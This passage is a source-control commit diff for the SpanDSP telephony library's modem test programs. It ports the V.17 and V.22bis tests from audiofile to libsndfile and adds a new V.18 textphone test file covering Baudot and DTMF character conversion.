- - A V.17 receive modem is used to decode V.17 audio, stored in a wave file.
+ - A V.17 receive modem is used to decode V.17 audio, stored in a audio file.
    This is good way to evaluate performance with audio recorded from other
    models of modem, and with real world problematic telephone lines.
 
@@ -46,6 +46,9 @@
 \section v17_tests_page_sec_2 How is it used?
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
 #endif
@@ -59,8 +62,12 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -96,45 +103,18 @@
 {
     switch (reason)
     {
-    case BERT_REPORT_SYNCED:
-        printf("BERT report synced\n");
-        break;
-    case BERT_REPORT_UNSYNCED:
-        printf("BERT report unsync'ed\n");
-        break;
     case BERT_REPORT_REGULAR:
-        printf("BERT report regular - %d bits, %d bad bits, %d resyncs\n", results->total_bits, results->bad_bits, results->resyncs);
+        fprintf(stderr, "BERT report regular - %d bits, %d bad bits, %d resyncs\n", results->total_bits, results->bad_bits, results->resyncs);
         memcpy(&latest_results, results, sizeof(latest_results));
         break;
-    case BERT_REPORT_GT_10_2:
-        printf("BERT report > 1 in 10^2\n");
-        break;
-    case BERT_REPORT_LT_10_2:
-        printf("BERT report < 1 in 10^2\n");
-        break;
-    case BERT_REPORT_LT_10_3:
-        printf("BERT report < 1 in 10^3\n");
-        break;
-    case BERT_REPORT_LT_10_4:
-        printf("BERT report < 1 in 10^4\n");
-        break;
-    case BERT_REPORT_LT_10_5:
-        printf("BERT report < 1 in 10^5\n");
-        break;
-    case BERT_REPORT_LT_10_6:
-        printf("BERT report < 1 in 10^6\n");
-        break;
-    case BERT_REPORT_LT_10_7:
-        printf("BERT report < 1 in 10^7\n");
-        break;
     default:
-        printf("BERT report reason %d\n", reason);
+        fprintf(stderr, "BERT report %s\n", bert_event_to_str(reason));
         break;
     }
 }
 /*- End of function --------------------------------------------------------*/
 
-static int v17_rx_status(void *user_data, int status)
+static void v17_rx_status(void *user_data, int status)
 {
     v17_rx_state_t *rx;
     int i;
@@ -152,7 +132,6 @@
             printf("%3d (%15.5f, %15.5f) -> %15.5f\n", i, coeffs[i].re, coeffs[i].im, powerf(&coeffs[i]));
         break;
     }
-    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -174,10 +153,9 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static int v17_tx_status(void *user_data, int status)
+static void v17_tx_status(void *user_data, int status)
 {
     printf("V.17 tx status is %s (%d)\n", signal_status_to_str(status), status);
-    return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
@@ -211,7 +189,7 @@
         fpower = (constel->re - target->re)*(constel->re - target->re)
                + (constel->im - target->im)*(constel->im - target->im);
         smooth_power = 0.95f*smooth_power + 0.05f*fpower;
-        printf("%8d [%8.4f, %8.4f] [%8.4f, %8.4f] %2x %8.4f %8.4f %9.4f %7.3f %7.2f\n",
+        printf("%8d [%8.4f, %8.4f] [%8.4f, %8.4f] %2x %8.4f %8.4f %9.4f %7.3f %7.4f\n",
                symbol_no,
                constel->re,
                constel->im,
@@ -243,13 +221,13 @@
 
 int main(int argc, char *argv[])
 {
-    v17_rx_state_t rx;
-    v17_tx_state_t tx;
+    v17_rx_state_t *rx;
+    v17_tx_state_t *tx;
     bert_results_t bert_results;
     int16_t gen_amp[BLOCK_LEN];
     int16_t amp[BLOCK_LEN];
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     int outframes;
     int samples;
     int tep;
@@ -262,6 +240,7 @@
     int channel_codec;
     int rbs_pattern;
     int opt;
+    logging_state_t *logging;
 
     channel_codec = MUNGE_CODEC_NONE;
     rbs_pattern = 0;
@@ -274,11 +253,19 @@
     signal_level = -13;
     bits_per_test = 50000;
     log_audio = FALSE;
-    while ((opt = getopt(argc, argv, "b:c:d:glm:n:r:s:t")) != -1)
+    while ((opt = getopt(argc, argv, "b:B:c:d:glm:n:r:s:t")) != -1)
     {
         switch (opt)
         {
         case 'b':
+            test_bps = atoi(optarg);
+            if (test_bps != 14400  &&  test_bps != 12000  &&  test_bps != 9600  &&  test_bps != 7200)
+            {
+                fprintf(stderr, "Invalid bit rate specified\n");
+                exit(2);
+            }
+            break;
+        case 'B':
             bits_per_test = atoi(optarg);
             break;
         case 'c':
@@ -319,54 +306,42 @@
             break;
         }
     }
-    argc -= optind;
-    argv += optind;
-    if (argc > 0)
-    {
-        if (strcmp(argv[0], "14400") == 0)
-            test_bps = 14400;
-        else if (strcmp(argv[0], "12000") == 0)
-            test_bps = 12000;
-        else if (strcmp(argv[0], "9600") == 0)
-            test_bps = 9600;
-        else if (strcmp(argv[0], "7200") == 0)
-            test_bps = 7200;
-        else
-        {
-            fprintf(stderr, "Invalid bit rate\n");
-            exit(2);
-        }
-    }
     inhandle = NULL;
     outhandle = NULL;
 
     if (log_audio)
     {
-        if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+        if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
     }
 
     if (decode_test_file)
     {
-        /* We will decode the audio from a wave file. */
-        if ((inhandle = afOpenFile_telephony_read(decode_test_file, 1)) == AF_NULL_FILEHANDLE)
+        /* We will decode the audio from a file. */
+        tx = NULL;
+        if ((inhandle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot open wave file '%s'\n", decode_test_file);
+            fprintf(stderr, "    Cannot open audio file '%s'\n", decode_test_file);
             exit(2);
         }
     }
     else
     {
         /* We will generate V.17 audio, and add some noise to it. */
-        v17_tx_init(&tx, test_bps, tep, v17getbit, NULL);
-        v17_tx_power(&tx, signal_level);
-        v17_tx_set_modem_status_handler(&tx, v17_tx_status, (void *) &tx);
+        tx = v17_tx_init(NULL, test_bps, tep, v17getbit, NULL);
+        logging = v17_tx_get_logging_state(tx);
+        span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_FLOW);
+        span_log_set_tag(logging, "V.17 tx");
+        v17_tx_power(tx, signal_level);
+        v17_tx_set_modem_status_handler(tx, v17_tx_status, (void *) tx);
+#if defined(WITH_SPANDSP_INTERNALS)
         /* Move the carrier off a bit */
-        tx.carrier_phase_rate = dds_phase_ratef(1792.0f);
-        tx.carrier_phase = 0x40000000;
+        tx->carrier_phase_rate = dds_phase_ratef(1792.0f);
+        tx->carrier_phase = 0x40000000;
+#endif
 
         bert_init(&bert, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
         bert_set_report(&bert, 10000, reporter, NULL);
@@ -382,11 +357,12 @@
 #endif
     }
 
-    v17_rx_init(&rx, test_bps, v17putbit, &rx);
-    v17_rx_set_modem_status_handler(&rx, v17_rx_status, (void *) &rx);
-    v17_rx_set_qam_report_handler(&rx, qam_report, (void *) &rx);
-    span_log_set_level(&rx.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_FLOW);
-    span_log_set_tag(&rx.logging, "V.17 rx");
+    rx = v17_rx_init(NULL, test_bps, v17putbit, NULL);
+    v17_rx_set_modem_status_handler(rx, v17_rx_status, (void *) rx);
+    v17_rx_set_qam_report_handler(rx, qam_report, (void *) rx);
+    logging = v17_rx_get_logging_state(rx);
+    span_log_set_level(logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_FLOW);
+    span_log_set_tag(logging, "V.17 rx");
 
 #if defined(ENABLE_GUI)
     if (use_gui)
@@ -405,10 +381,7 @@
     {
         if (decode_test_file)
         {
-            samples = afReadFrames(inhandle,
-                                   AF_DEFAULT_TRACK,
-                                   amp,
-                                   BLOCK_LEN);
+            samples = sf_readf_short(inhandle, amp, BLOCK_LEN);
 #if defined(ENABLE_GUI)
             if (use_gui)
                 qam_monitor_update_audio_level(qam_monitor, amp, samples);
@@ -418,7 +391,7 @@
         }
         else
         {
-            samples = v17_tx(&tx, gen_amp, BLOCK_LEN);
+            samples = v17_tx(tx, gen_amp, BLOCK_LEN);
 #if defined(ENABLE_GUI)
             if (use_gui)
                 qam_monitor_update_audio_level(qam_monitor, gen_amp, samples);
@@ -429,7 +402,7 @@
 
                 /* Push a little silence through, to ensure all the data bits get out of the buffers */
                 memset(amp, 0, BLOCK_LEN*sizeof(int16_t));
-                v17_rx(&rx, amp, BLOCK_LEN);
+                v17_rx(rx, amp, BLOCK_LEN);
 
                 /* Note that we might get a few bad bits as the carrier shuts down. */
                 bert_result(&bert, &bert_results);
@@ -449,12 +422,14 @@
                     break;
                 }
                 memset(&latest_results, 0, sizeof(latest_results));
+#if defined(WITH_SPANDSP_INTERNALS)
                 signal_level--;
                 /* Bump the receiver AGC gain by 1dB, to compensate for the above */
-                rx.agc_scaling_save *= 1.122f;
-                v17_tx_restart(&tx, test_bps, tep, TRUE);
-                v17_tx_power(&tx, signal_level);
-                v17_rx_restart(&rx, test_bps, TRUE);
+                rx->agc_scaling_save *= 1.122f;
+#endif
+                v17_tx_restart(tx, test_bps, tep, TRUE);
+                v17_tx_power(tx, signal_level);
+                v17_rx_restart(rx, test_bps, TRUE);
                 //rx.eq_put_step = rand()%(192*10/3);
                 bert_init(&bert, bits_per_test, BERT_PATTERN_ITU_O152_11, test_bps, 20);
                 bert_set_report(&bert, 10000, reporter, NULL);
@@ -467,13 +442,10 @@
             }
             if (log_audio)
             {
-                outframes = afWriteFrames(outhandle,
-                                          AF_DEFAULT_TRACK,
-                                          amp,
-                                          samples);
+                outframes = sf_writef_short(outhandle, gen_amp, samples);
                 if (outframes != samples)
                 {
-                    fprintf(stderr, "    Error writing wave file\n");
+                    fprintf(stderr, "    Error writing audio file\n");
                     exit(2);
                 }
             }
@@ -483,7 +455,7 @@
         if (use_gui  &&  !decode_test_file)
             line_model_monitor_line_spectrum_update(amp, samples);
 #endif
-        v17_rx(&rx, amp, samples);
+        v17_rx(rx, amp, samples);
     }
     if (!decode_test_file)
     {
@@ -505,11 +477,19 @@
     if (use_gui)
         qam_wait_to_end(qam_monitor);
 #endif
+    if (decode_test_file)
+    {
+        if (sf_close(inhandle))
+        {
+            fprintf(stderr, "    Cannot close audio file '%s'\n", decode_test_file);
+            exit(2);
+        }
+    }
     if (log_audio)
     {
-        if (afCloseFile(outhandle))
+        if (sf_close(outhandle))
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
             exit(2);
         }
     }

Copied: freeswitch/branches/seven/libs/spandsp/tests/v18_tests.c (from rev 14471, freeswitch/trunk/libs/spandsp/tests/v18_tests.c) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/v18_tests.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/v18_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,510 @@
+/*
+ * SpanDSP - a series of DSP components for telephony
+ *
+ * v18_tests.c
+ *
+ * Written by Steve Underwood <steveu@coppice.org>
+ *
+ * Copyright (C) 2004-2009 Steve Underwood
+ *
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2, as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ * $Id: v18_tests.c,v 1.8 2009/05/30 15:23:14 steveu Exp $
+ */
+
+/*! \page v18_tests_page V.18 tests
+\section v18_tests_page_sec_1 What does it do?
+*/
+
+/* Enable the following definition to enable direct probing into the spandsp structures */
+//#define WITH_SPANDSP_INTERNALS
+
+#if defined(HAVE_CONFIG_H)
+#include "config.h"
+#endif
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <sndfile.h>
+
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
+#include "spandsp.h"
+#include "spandsp-sim.h"
+
+#define FALSE 0
+#define TRUE (!FALSE)
+
+#define OUTPUT_FILE_NAME    "v18.wav"
+
+#define SAMPLES_PER_CHUNK   160
+
+int log_audio = FALSE;
+SNDFILE *outhandle = NULL;
+
+char *decode_test_file = NULL;
+
+int good_message_received;
+
+const char *qbf_tx = "The quick Brown Fox Jumps Over The Lazy dog 0123456789!@#$%^&*()'";
+const char *qbf_rx = "THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 0123456789!X$$/'+.()'";
+const char *full_baudot_rx =
+    "\b \n\n\n\r?\n\n\n  !\"$$/+'().+,-./"
+    "0123456789:;(=)?"
+    "XABCDEFGHIJKLMNOPQRSTUVWXYZ(/)' "
+    "'ABCDEFGHIJKLMNOPQRSTUVWXYZ(!) ";
+
+#if 1
+static void put_text_msg(void *user_data, const uint8_t *msg, int len)
+{
+    if (strcmp((const char *) msg, qbf_rx))
+    {
+        printf("Result:\n%s\n", msg);
+        printf("Reference result:\n%s\n", qbf_rx);
+    }
+    else
+    {
+        good_message_received = TRUE;
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
+static void basic_tests(int mode)
+{
+    int16_t amp[SAMPLES_PER_CHUNK];
+    int outframes;
+    int len;
+    int push;
+    int i;
+    v18_state_t *v18_a;
+    v18_state_t *v18_b;
+
+    printf("Testing %s\n", v18_mode_to_str(mode));
+    v18_a = v18_init(NULL, TRUE, mode, put_text_msg, NULL);
+    v18_b = v18_init(NULL, FALSE, mode, put_text_msg, NULL);
+
+    /* Fake an OK condition for the first message test */
+    good_message_received = TRUE;
+    push = 0;
+    if (v18_put(v18_a, qbf_tx, -1) != strlen(qbf_tx))
+    {
+        printf("V.18 put failed\n");
+        exit(2);
+    }
+    for (i = 0;  i < 100000;  i++)
+    {
+        if (push == 0)
+        {
+            if ((len = v18_tx(v18_a, amp, SAMPLES_PER_CHUNK)) == 0)
+                push = 10;
+        }
+        else
+        {
+            len = 0;
+            /* Push a little silence through, to flush things out */
+            if (--push == 0)
+            {
+                if (!good_message_received)
+                {
+                    printf("No message received\n");
+                    exit(2);
+                }
+                good_message_received = FALSE;
+                if (v18_put(v18_a, qbf_tx, -1) != strlen(qbf_tx))
+                {
+                    printf("V.18 put failed\n");
+                    exit(2);
+                }
+            }
+        }
+        if (len < SAMPLES_PER_CHUNK)
+        {
+            memset(&amp[len], 0, sizeof(int16_t)*(SAMPLES_PER_CHUNK - len));
+            len = SAMPLES_PER_CHUNK;
+        }
+        if (log_audio)
+        {
+            outframes = sf_writef_short(outhandle, amp, len);
+            if (outframes != len)
+            {
+                fprintf(stderr, "    Error writing audio file\n");
+                exit(2);
+            }
+        }
+        v18_rx(v18_b, amp, len);
+    }
+    v18_free(v18_a);
+    v18_free(v18_b);
+}
+/*- End of function --------------------------------------------------------*/
+#endif
+
+static int test_x_01(void)
+{
+    /* III.5.4.5.1 Baudot carrier timing and receiver disabling */
+    printf("Test not yet implemented\n");
+    return 1;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_x_02(void)
+{
+    /* III.5.4.5.2 Baudot bit rate confirmation */
+    printf("Test not yet implemented\n");
+    return 1;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_x_03(void)
+{
+    /* III.5.4.5.3 Baudot probe bit rate confirmation */
+    printf("Test not yet implemented\n");
+    return 1;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_x_04(void)
+{
+    char result[1024];
+    char *t;
+    int ch;
+    int xx;
+    int yy;
+    int i;
+    v18_state_t *v18_state;
+
+    /* III.5.4.5.4 5 Bit to T.50 character conversion */
+    v18_state = v18_init(NULL, TRUE, V18_MODE_5BIT_45, NULL, NULL);
+    printf("Original:\n");
+    t = result;
+    for (i = 0;  i < 127;  i++)
+    {
+        ch = i;
+        printf("%c", ch);
+        xx = v18_encode_baudot(v18_state, ch);
+        if (xx)
+        {
+            if ((xx & 0x3E0))
+            {
+                yy = v18_decode_baudot(v18_state, (xx >> 5) & 0x1F);
+                if (yy)
+                    *t++ = yy;
+            }
+            yy = v18_decode_baudot(v18_state, xx & 0x1F);
+            if (yy)
+                *t++ = yy;
+        }
+    }
+    printf("\n");
+    *t = '\0';
+    v18_free(v18_state);
+    printf("Result:\n%s\n", result);
+    printf("Reference result:\n%s\n", full_baudot_rx);
+    if (strcmp(result, full_baudot_rx) != 0)
+        return -1;
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_x_06(void)
+{
+    char msg[128];
+    char dtmf[1024];
+    char result[1024];
+    const char *ref;
+    int len;
+    int i;
+
+    /* III.5.4.5.6 DTMF character conversion */
+    for (i = 0;  i < 127;  i++)
+        msg[i] = i + 1;
+    msg[127] = '\0';
+    printf("%s\n", msg);
+    
+    len = v18_encode_dtmf(NULL, dtmf, msg);
+    printf("%s\n", dtmf);
+
+    len = v18_decode_dtmf(NULL, result, dtmf);
+
+    ref = "\b \n\n\n?\n\n\n  %+().+,-.0123456789:;(=)"
+          "?XABCDEFGHIJKLMNOPQRSTUVWXYZ\xC6\xD8\xC5"
+          " abcdefghijklmnopqrstuvwxyz\xE6\xF8\xE5 \b";
+
+    printf("Result:\n%s\n", result);
+    printf("Reference result:\n%s\n", ref);
+    if (strcmp(result, ref) != 0)
+        return -1;
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int test_unimplemented(void)
+{
+    printf("Test not yet implemented\n");
+    return 1;
+}
+/*- End of function --------------------------------------------------------*/
+
+static void put_v18_msg(void *user_data, const uint8_t *msg, int len)
+{
+    char buf[1024];
+    
+    memcpy(buf, msg, len);
+    buf[len] = '\0';
+    printf("Received (%d bytes) '%s'\n", len, buf);
+}
+/*- End of function --------------------------------------------------------*/
+
+static int decode_test_data_file(int mode, const char *filename)
+{
+    v18_state_t *v18_state;
+    int16_t amp[SAMPLES_PER_CHUNK];
+    SNDFILE *inhandle;
+    int len;
+
+    printf("Decoding as '%s'\n", v18_mode_to_str(mode));
+    /* We will decode the audio from a file. */
+    if ((inhandle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
+    {
+        fprintf(stderr, "    Cannot open audio file '%s'\n", decode_test_file);
+        exit(2);
+    }
+    v18_state = v18_init(NULL, FALSE, mode, put_v18_msg, NULL);
+    for (;;)
+    {
+        len = sf_readf_short(inhandle, amp, SAMPLES_PER_CHUNK);
+        if (len == 0)
+            break;
+        v18_rx(v18_state, amp, len);
+    }
+    if (sf_close(inhandle) != 0)
+    {
+        fprintf(stderr, "    Cannot close audio file '%s'\n", decode_test_file);
+        exit(2);
+    }
+    v18_free(v18_state);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+const struct
+{
+    const char *title;
+    int (*func)(void);
+} test_list[] =
+{
+    {"III.3.2.1 Operational requirements tests", NULL},
+    {"MISC-01         4 (1)       No Disconnection Test", test_unimplemented},
+    {"MISC-02         4 (2)       Automatic resumption of automoding", test_unimplemented},
+    {"MISC-03         4 (2)       Retention of selected mode on loss of signal", test_unimplemented},
+    {"MISC-04         4 (4)       Detection of BUSY tone", test_unimplemented},
+    {"MISC-05         4 (4)       Detection of RINGING", test_unimplemented},
+    {"MISC-06         4 (4)       LOSS OF CARRIER indication", test_unimplemented},
+    {"MISC-07         4 (4)       Call progress indication", test_unimplemented},
+    {"MISC-08         4 (5)       Circuit 135 test", test_unimplemented},
+    {"MISC-09                     Connection Procedures", test_unimplemented},
+
+    {"III.3.2.2 Automode originate tests", NULL},
+    {"ORG-01          5.1.1       CI & XCI Signal coding and cadence", test_unimplemented},
+    {"ORG-02          5.1.3       ANS Signal Detection", test_unimplemented},
+    {"ORG-03          5.2.3.1     End of ANS signal detection", test_unimplemented},
+    {"ORG-04          5.1.3.2     ANS tone followed by TXP", test_unimplemented},
+    {"ORG-05          5.1.3.3     ANS tone followed by 1650Hz", test_unimplemented},
+    {"ORG-06          5.1.3.4     ANS tone followed by 1300Hz", test_unimplemented},
+    {"ORG-07          5.1.3       ANS tone followed by no tone", test_unimplemented},
+    {"ORG-08          5.1.4       Bell 103 (2225Hz Signal) Detection", test_unimplemented},
+    {"ORG-09          5.1.5       V.21 (1650Hz Signal) Detection", test_unimplemented},
+    {"ORG-10          5.1.6       V.23 (1300Hz Signal) Detection", test_unimplemented},
+    {"ORG-11          5.1.7       V.23 (390Hz Signal) Detection", test_unimplemented},
+    {"ORG-12a to d    5.1.8       5 Bit Mode (Baudot) Detection Tests", test_unimplemented},
+    {"ORG-13          5.1.9       DTMF signal detection", test_unimplemented},
+    {"ORG-14          5.1.10      EDT Rate Detection", test_unimplemented},
+    {"ORG-15          5.1.10.1    Rate Detection Test", test_unimplemented},
+    {"ORG-16          5.1.10.2    980Hz Detection", test_unimplemented},
+    {"ORG-17          5.1.10.3    Loss of signal after 980Hz", test_unimplemented},
+    {"ORG-18          5.1.10.3    Tr Timer", test_unimplemented},
+    {"ORG-19          5.1.11      Bell 103 (1270Hz Signal) Detection", test_unimplemented},
+    {"ORG-20                      Immunity to Network Tones", test_unimplemented},
+    {"ORG-21a to b                Immunity to other non-textphone modems", test_unimplemented},
+    {"ORG-22                      Immunity to Fax Tones", test_unimplemented},
+    {"ORG-23                      Immunity to Voice", test_unimplemented},
+    {"ORG-24          5.1.2       ANSam detection", test_unimplemented},
+    {"ORG-25          6.1         V.8 originate call", test_unimplemented},
+
+    {"III.3.2.3 Automode answer tests", NULL},
+    {"ANS-01          5.2.1       Ta timer", test_unimplemented},
+    {"ANS-02          5.2.2       CI Signal Detection", test_unimplemented},
+    {"ANS-03          5.2.2.1     Early Termination of ANS tone", test_unimplemented},
+    {"ANS-04          5.2.2.2     Tt Timer", test_unimplemented},
+    {"ANS-05          5.2.3.2     ANS tone followed by 980Hz", test_unimplemented},
+    {"ANS-06          5.2.3.2     ANS tone followed by 1300Hz", test_unimplemented},
+    {"ANS-07          5.2.3.3     ANS tone followed by 1650Hz", test_unimplemented},
+    {"ANS-08          5.2.4.1     980Hz followed by 1650Hz", test_unimplemented},
+    {"ANS-09a to d    5.2.4.2     980Hz calling tone detection", test_unimplemented},
+    {"ANS-10          5.2.4.3     V.21 Detection by Timer", test_unimplemented},
+    {"ANS-11          5.2.4.4.1   EDT Detection by Rate", test_unimplemented},
+    {"ANS-12          5.2.4.4.2   V.21 Detection by Rate", test_unimplemented},
+    {"ANS-13          5.2.4.4.3   Tr Timer", test_unimplemented},
+    {"ANS-14          5.2.4.5     Te Timer", test_unimplemented},
+    {"ANS-15a to d    5.2.5       5 Bit Mode (Baudot) Detection Tests", test_unimplemented},
+    {"ANS-16          5.2.6       DTMF Signal Detection", test_unimplemented},
+    {"ANS-17          5.2.7       Bell 103 (1270Hz signal) detection", test_unimplemented},
+    {"ANS-18          5.2.8       Bell 103 (2225Hz signal) detection", test_unimplemented},
+    {"ANS-19          5.2.9       V.21 Reverse Mode (1650Hz) Detection", test_unimplemented},
+    {"ANS-20a to d    5.2.10      1300Hz Calling Tone Discrimination", test_unimplemented},
+    {"ANS-21          5.2.11      V.23 Reverse Mode (1300Hz) Detection", test_unimplemented},
+    {"ANS-22                      1300Hz with XCI Test", test_unimplemented},
+    {"ANS-23          5.2.12      Stimulate Mode Country Settings", test_unimplemented},
+    {"ANS-24          5.2.12.1    Stimulate Carrierless Mode Probe Message", test_unimplemented},
+    {"ANS-25          5.2.12.1.1  Interrupted Carrierless Mode Probe", test_unimplemented},
+    {"ANS-26          5.2.12.2    Stimulate Carrier Mode Probe Time", test_unimplemented},
+    {"ANS-27          5.2.12.2.1  V.23 Mode (390Hz) Detection", test_unimplemented},
+    {"ANS-28          5.2.12.2.2  Interrupted Carrier Mode Probe", test_unimplemented},
+    {"ANS-29          5.2.12.2.2  Stimulate Mode Response During Probe", test_unimplemented},
+    {"ANS-30                      Immunity to Network Tones", test_unimplemented},
+    {"ANS-31                      Immunity to Fax Calling Tones", test_unimplemented},
+    {"ANS-32                      Immunity to Voice", test_unimplemented},
+    {"ANS-33          5.2.2.1     V.8 CM detection and V.8 Answering", test_unimplemented},
+
+    {"III.3.2.4 Automode monitor tests", NULL},
+    {"MON-01 to -20   5.3         Repeat all answer mode tests excluding tests ANS-01, ANS-20 and ANS-23 to ANS-29", test_unimplemented},
+    {"MON-21          5.3         Automode Monitor Ta timer", test_unimplemented},
+    {"MON-22a to d    5.3         Automode Monitor 1300Hz Calling Tone Discrimination", test_unimplemented},
+    {"MON-23a to d    5.3         Automode Monitor 980Hz Calling Tone Discrimination", test_unimplemented},
+
+    {"III.3.2.5 ITU-T V.18 annexes tests", NULL},
+    {"X-01            A.1         Baudot carrier timing and receiver disabling", test_x_01},
+    {"X-02            A.2         Baudot bit rate confirmation", test_x_02},
+    {"X-03            A.3         Baudot probe bit rate confirmation", test_x_03},
+    {"X-04            A.4         5 Bit to T.50 Character Conversion", test_x_04},
+    {"X-05            B.1         DTMF receiver disabling", test_unimplemented},
+    {"X-06            B.2         DTMF character conversion", test_x_06},
+    {"X-07            C.1         EDT carrier timing and receiver disabling", test_unimplemented},
+    {"X-08            C.2-3       EDT bit rate and character structure", test_unimplemented},
+    {"X-09            E           V.23 calling mode character format", test_unimplemented},
+    {"X-10            E           V.23 answer mode character format", test_unimplemented},
+    {"X-11            F.4-5       V.21 character structure", test_unimplemented},
+    {"X-12            G.1-3       V.18 mode", test_unimplemented},
+
+    {"", NULL}
+};
+
+int main(int argc, char *argv[])
+{
+    int i;
+    int res;
+    int hit;
+    const char *match;
+    int test_standard;
+    int opt;
+
+    match = NULL;
+    test_standard = -1;
+    while ((opt = getopt(argc, argv, "d:ls:")) != -1)
+    {
+        switch (opt)
+        {
+        case 'd':
+            decode_test_file = optarg;
+            break;
+        case 'l':
+            log_audio = TRUE;
+            break;
+        case 's':
+            test_standard = atoi(optarg);
+            break;
+        default:
+            //usage();
+            exit(2);
+            break;
+        }
+    }
+    if (decode_test_file)
+    {
+        decode_test_data_file(test_standard, decode_test_file);
+        exit(0);
+    }
+    argc -= optind;
+    argv += optind;
+    if (argc > 0)
+        match = argv[0];
+
+    outhandle = NULL;
+    if (log_audio)
+    {
+        if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 1)) == NULL)
+        {
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME);
+            exit(2);
+        }
+    }
+
+    hit = FALSE;
+    for (i = 0;  test_list[i].title[0];  i++)
+    {
+        if (test_list[i].func
+            &&
+               (match == NULL
+                ||
+                   (strncmp(match, test_list[i].title, strlen(match)) == 0
+                    &&
+                    test_list[i].title[strlen(match)] == ' ')))
+        {
+            hit = TRUE;
+            printf("%s\n", test_list[i].title);
+            res = test_list[i].func();
+            if (res < 0)
+            {
+                printf("    Test failed\n");
+                exit(2);
+            }
+            if (res == 0)
+            {
+                printf("    Test passed\n");
+            }
+        }
+        else
+        {
+            if (match == NULL)
+                printf("%s\n", test_list[i].title);
+        }
+    }
+    if (!hit)
+    {
+        printf("Test not found\n");
+        exit(2);
+    }
+    basic_tests(V18_MODE_5BIT_45);
+    if (log_audio)
+    {
+        if (sf_close(outhandle) != 0)
+        {
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
+            exit(2);
+        }
+    }
+    printf("Tests passed\n");
+    return 0;
+
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+/*- End of file ------------------------------------------------------------*/

Modified: freeswitch/branches/seven/libs/spandsp/tests/v22bis_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/v22bis_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/v22bis_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v22bis_tests.c,v 1.52 2008/09/07 12:45:17 steveu Exp $
+ * $Id: v22bis_tests.c,v 1.63 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \page v22bis_tests_page V.22bis modem tests
@@ -50,8 +50,9 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -61,58 +62,74 @@
 
 #define BLOCK_LEN       160
 
-#define IN_FILE_NAME    "v22bis_samp.wav"
 #define OUT_FILE_NAME   "v22bis.wav"
 
-int in_bit = 0;
-int out_bit = 0;
+char *decode_test_file = NULL;
+int use_gui = FALSE;
 
-int in_bit_no = 0;
-int out_bit_no = 0;
-
-uint8_t tx_buf[1000];
-int rx_ptr = 0;
-int tx_ptr = 0;
-
 int rx_bits = 0;
-int rx_bad_bits = 0;
 
-int use_gui = FALSE;
-
 both_ways_line_model_state_t *model;
